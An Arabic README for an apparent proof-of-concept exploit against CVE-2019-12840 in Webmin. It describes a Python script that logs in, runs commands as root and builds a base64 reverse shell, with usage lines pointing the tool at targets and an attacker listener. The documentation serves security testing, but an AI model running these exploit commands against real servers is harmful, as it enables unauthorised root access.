
هذا إثبات مفهوم خاص وبسيط للثغرة CVE-2019-12840 والتي تمنحك RCE بصلاحيات root
يحتوي هذا المستودع على سكربت بلغة Python يستغل الثغرة الأمنية CVE-2019-12840 في Webmin.
يحاول السكربت تسجيل الدخول إلى خادم Webmin ثم استغلال الثغرة الأمنية CVE-2019-12840. يقبل السكربت عدة وسائط لسطر الأوامر، بما في ذلك اسم المستخدم وكلمة المرور لتسجيل الدخول إلى خادم Webmin، وعنوان URL للخادم، ومنفذ الخادم، والمنفذ المحلي للشل العكسي، وأمر لتنفيذه على الخادم.
لاستخدام هذا السكربت، يجب عليك توفير اسم المستخدم وكلمة المرور وعنوان URL لخادم Webmin على الأقل. إليك مثال عن كيفية استخدام السكربت:
python exploit.py -U username -P password -u http://localhost:10000 -lhost 10.x.x.x -lport 443
سكربت Python في هذا المستودع منظم بالطريقة التالية:
استيراد الوحدات: يبدأ السكربت باستيراد عدة وحدات من Python ضرورية لعمله. تتضمن هذه الوحدات requests لإجراء طلبات HTTP، وargparse للتعامل مع وسائط سطر الأوامر، وbase64 للتشفير وفك التشفير بنظام base64، وBeautifulSoup لتحليل HTML.
تعريف الدوال: يعرّف السكربت عدة دوال:
CVE_2019_12840(url,auth_base64,cmd): تقوم هذه الدالة بإجراء طلب POST إلى عنوان URL محدد بحمولة محددة وتتحقق من الاستجابة.login(username,password,url)exploit(sid,url,cmd): تحاول هذه الدالة استغلال الثغرة الأمنية CVE-2019-12840 في خادم Webmin.b64revshell(lhost,lport): تولّد هذه الدالة شلًا عكسيًا مشفّرًا بنظام base64.التعامل مع وسائط سطر الأوامر: يقبل السكربت عدة وسائط لسطر الأوامر، بما في ذلك اسم المستخدم وكلمة المرور لتسجيل الدخول إلى خادم Webmin، وعنوان URL للخادم، ومنفذ الخادم، والمنفذ المحلي للشل العكسي، وأمر لتنفيذه على الخادم.
تنفيذ الاستغلال: إذا تم تشغيل السكربت كبرنامج مستقل (بدلاً من استيراده كوحدة)، فسيحاول تسجيل الدخول إلى خادم Webmin ثم تنفيذ الاستغلال.
يقبل السكربت عدة وسائط لسطر الأوامر. إليك مثال عن كيفية استخدام السكربت:
python3 CVE-2019-12840.py -h
سيؤدي هذا إلى عرض تعليمات البرنامج، والتي تتضمن ما يلي:
_______ ________ ___ ___ __ ___ __ ___ ___ _ _ ___
/ ____\ \ / / ____| |__ \ / _ \/_ |/ _ \ /_ |__ \ / _ \| || | / _ \
| | \ \ / /| |__ ______ ) | | | || | (_) |______| | ) | (_) | || |_| | | |
| | \ \/ / | __|______/ /| | | || |\__, |______| | / / > _ <|__ _| | | |
| |____ \ / | |____ / /_| |_| || | / / | |/ /_| (_) | | | | |_| |
\_____| \/ |______| |____|\___/ |_| /_/ |_|____|\___/ |_| \___/
by CyberMonkey
Webmin <= 1.910 RCE (Authorization Required)
usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -c "id"
usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -lhost <LOCAL_IP> -lport 443
usage: CVE-2019-12840.py [-h] -U USERNAME -P PASSWORD -u URL [-p PORT] [-lport LPORT] (-c CMD | -lhost LHOST)
options:
-h, --help show this help message and exit
-U USERNAME username
-P PASSWORD password
-u URL target url
-p PORT target port
-lport LPORT local port for reverse shell
-c CMD command to execute
-lhost LHOST Send back a reverse shell at port 443
هذا السكربت هو أداة استغلال أمنية ويجب استخدامه فقط للأغراض المشروعة، مثل اختبار الاختراق أو البحث الأمني. لا ينبغي استخدامه في أنشطة غير قانونية. بالإضافة إلى ذلك، صُمم هذا السكربت للاستخدام مع خوادم Webmin المعرّضة للثغرة CVE-2019-12840، لذلك قد لا يعمل مع جميع إصدارات Webmin.